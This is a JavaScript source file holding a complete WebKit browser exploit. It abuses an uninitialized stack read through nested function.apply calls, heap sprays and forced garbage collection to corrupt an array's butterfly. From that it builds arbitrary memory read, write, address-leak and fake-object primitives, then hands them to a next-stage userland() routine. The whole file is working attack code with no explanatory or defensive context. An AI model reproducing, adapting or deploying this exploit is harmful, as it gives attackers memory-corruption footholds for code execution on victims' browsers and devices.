function webkitExploit_stackUnitializedRead() {
  var memPressure = new Array(400);
  var stackFrame = [];
  var frameIndex = 0;
  var stackPeek = 0;

  var doGarbageCollection = function () {
    for (var i = 0; i < memPressure.length; i++) {
      memPressure[i] = new Uint32Array(0x10000);
    }

    for (var i = 0; i < memPressure.length; i++) {
      memPressure[i] = 0;
    }
  };

  function peek_stack() {
    var mem;
    var retno;
    var oldRetno;

    retno = 0xFFFF;

    arguments.length = {
      valueOf: function () {
        oldRetno = retno;
        retno = 1;
        return oldRetno;
      },
    };

    var args = arguments;

    (function () {
      (function () {
        (function () {
          mem = arguments[0xFF00];
        }).apply(undefined, args);
      }).apply(undefined, stackFrame);
    }).apply(undefined, stackFrame);

    stackPeek = mem;

    return mem;
  }

  function poke_stack(val) {
    stackFrame[frameIndex] = val;

    (function () {
      (function () {
        (function () {}).apply(null, stackFrame);
      }).apply(null, stackFrame);
    }).apply(null, stackFrame);

    stackFrame[frameIndex] = '';
  }

  try {
    for (var i = 0; i < 0xFFFF; i++) {
      stackFrame[i] = i;
    }

    frameIndex = 0;
    poke_stack(0);

    if (peek_stack() == undefined) {
      throw new Error('System is not vulnerable!');
    }

    frameIndex = 0;
    poke_stack(0);

    peek_stack();
    frameIndex = stackPeek;

    poke_stack(0x4141);

    for (var align = 0; align < 8; align++) {
      (function () {})();
    }

    peek_stack();

    if (stackPeek != 0x4141) {
      throw new Error('Couldn\'t align stack frame to stack!');
    }

    var butterflySpray = new Array(0x1000);

    for (var i = 0; i < 0x1000; i++) {
      butterflySpray[i] = [];

      for (var k = 0; k < 0x40; k++) {
        butterflySpray[i][k] = 0x42424242;
      }

      butterflySpray[i].unshift(butterflySpray[i].shift());
    }

    var sprayOne = new Array(0x100);

    for (var i = 0; i < 0x100; i++) {
      sprayOne[i] = [1];

      if (!(i & 3)) {
        for (var k = 0; k < 0x8; k++) {
          sprayOne[i][k] = 0x43434343;
        }
      }

      sprayOne[i].unshift(sprayOne[i].shift());
    }

    var sprayTwo = new Array(0x400);

    for (var i = 0; i < 0x400; i++) {
      sprayTwo[i] = [2];

      if (!(i & 3)) {
        for (var k = 0; k < 0x80; k++) {
          sprayTwo[i][k] = 0x43434343;
        }
      }

      sprayTwo[i].unshift(sprayTwo[i].shift());
    }

    var uafTarget = [];

    for (var i = 0; i < 0x80; i++) {
      uafTarget[i] = 0x42420000;
    }

    poke_stack(uafTarget);

    uafTarget = 0;
    sprayOne = 0;
    sprayTwo = 0;

    for (var k = 0; k < 4; k++) {
      doGarbageCollection();
    }

    peek_stack();
    uafTarget = stackPeek;

    stackPeek = 0;

    for (var i = 0; i < 0x1000; i++) {
      for (var k = 0x0; k < 0x80; k++) {
        butterflySpray[i][k] = 0x7FFFFFFF;

        if (uafTarget.length == 0x7FFFFFFF) {
          var butterflyIndex = i;

          for (var i = 0; i < butterflyIndex; i++) {
            butterflySpray[i] = 0;
          }

          for (var i = butterflyIndex + 1; i < 0x1000; i++) {
            butterflySpray[i] = 0;
          }

          doGarbageCollection();

          var primitiveSpray = new Array(0x20000);
          var potentialPrim = new ArrayBuffer(0x1000);

          for (var i = 0; i < 0x20000; i++) {
            primitiveSpray[i] = i;
          }

          var overlap = new Array(0x80);

          for (var i = 0; i < 0x20000; i++) {
            primitiveSpray[i] = new Uint32Array(potentialPrim);
          }

          var currentQword = 0x10000;
          var found = false;
          var smashedButterfly = new int64(0, 0);
          var origData = new int64(0, 0);
          var locateHelper = new int64(0, 0);

          while (!found) {
            var savedVal = uafTarget[currentQword];
            uafTarget[currentQword] = 0x1337;

            for (var i = 0; i < 0x20000; i++) {
              if (primitiveSpray[i] && primitiveSpray[i].byteLength != 0x1000) {
                uafTarget[currentQword] = savedVal;

                var primitive = primitiveSpray[i];
                var overlap = [1337];

                uafTarget[currentQword - 5] = overlap;

                smashedButterfly.low = primitive[2];
                smashedButterfly.hi = primitive[3];
                smashedButterfly.keep_gc = overlap;

                uafTarget[currentQword - 5] = uafTarget[currentQword - 2];

                butterflySpray[butterflyIndex][k] = 0;

                origData.low = primitive[4];
                origData.hi = primitive[5];

                primitive[4] = primitive[12];
                primitive[5] = primitive[13];
                primitive[14] = 0x40;

                var slave = undefined;

                for (var k = 0; k < 0x20000; k++) {
                  if (primitiveSpray[k].length == 0x40) {
                    slave = primitiveSpray[k];
                    break;
                  }
                }

                if (!slave) {
                  throw new Error('Could not find slave for write primitive!');
                }

                primitive[4] = smashedButterfly.low;
                primitive[5] = smashedButterfly.hi;

                overlap[0] = uafTarget;

                var targetEntry = new int64(slave[0], slave[1]);

                primitive[4] = targetEntry.low;
                primitive[5] = targetEntry.hi;
                slave[2] = 0;
                slave[3] = 0;

                uafTarget = 0;
                primitiveSpray = 0;

                primitive[4] = origData.low;
                primitive[5] = origData.hi;

                var prim = {
                  write8: function (addr, val) {
                    primitive[4] = addr.low;
                    primitive[5] = addr.hi;

                    if (val == undefined) {
                      val = new int64(0, 0);
                    }
                    if (!(val instanceof int64)) {
                      val = new int64(val, 0);
                    }

                    slave[0] = val.low;
                    slave[1] = val.hi;

                    primitive[4] = origData.low;
                    primitive[5] = origData.hi;
                  },

                  write4: function (addr, val) {
                    primitive[4] = addr.low;
                    primitive[5] = addr.hi;

                    slave[0] = val;

                    primitive[4] = origData.low;
                    primitive[5] = origData.hi;
                  },

                  read8: function (addr) {
                    primitive[4] = addr.low;
                    primitive[5] = addr.hi;

                    var val = new int64(slave[0], slave[1]);

                    primitive[4] = origData.low;
                    primitive[5] = origData.hi;

                    return val;
                  },

                  read4: function(addr) {
                    primitive[4] = addr.low;
                    primitive[5] = addr.hi;

                    var val = slave[0];

                    primitive[4] = origData.low;
                    primitive[5] = origData.hi;

                    return val;
                  },

                  leakval: function (obj) {
                    primitive[4] = smashedButterfly.low;
                    primitive[5] = smashedButterfly.hi;

                    overlap[0] = obj;

                    var val = new int64(slave[0], slave[1]);

                    slave[0] = 1337;
                    slave[1] = 0xffff0000;

                    primitive[4] = origData.low;
                    primitive[5] = origData.hi;

                    return val;
                  },

                  createval: function (val) {
                    primitive[4] = smashedButterfly.low;
                    primitive[5] = smashedButterfly.hi;

                    slave[0] = val.low;
                    slave[1] = val.hi;

                    var val = overlap[0];

                    slave[0] = 1337;
                    slave[1] = 0xffff0000;

                    primitive[4] = origData.low;
                    primitive[5] = origData.hi;

                    return val;
                  },
                };

                if (prim.createval(prim.leakval(0x1337)) != 0x1337) {
                  throw new Error('Primitive is broken, jsvalue leaked does not match jsvalue created!');
                }
                var testData = [1, 2, 3, 4, 5, 6, 7, 8];
                var testAddr = prim.leakval(testData);
                var butterflyAddr = prim.read8(testAddr.add32(8));
                if ((butterflyAddr.low == 0 && butterflyAddr.hi == 0) || prim.createval(prim.read8(butterflyAddr)) != 1) {
                  throw new Error('Primitive is broken, either butterfly address is null or object is not a valid jsvalue!');
                }

                window.p = prim;
                userland();
              }
            }
            uafTarget[currentQword] = savedVal;
            currentQword++;
          }
        }
      }
    }

    throw new Error('UAF not modified!');
  } catch (e) {
    throw new Error(e.message);
  }
}
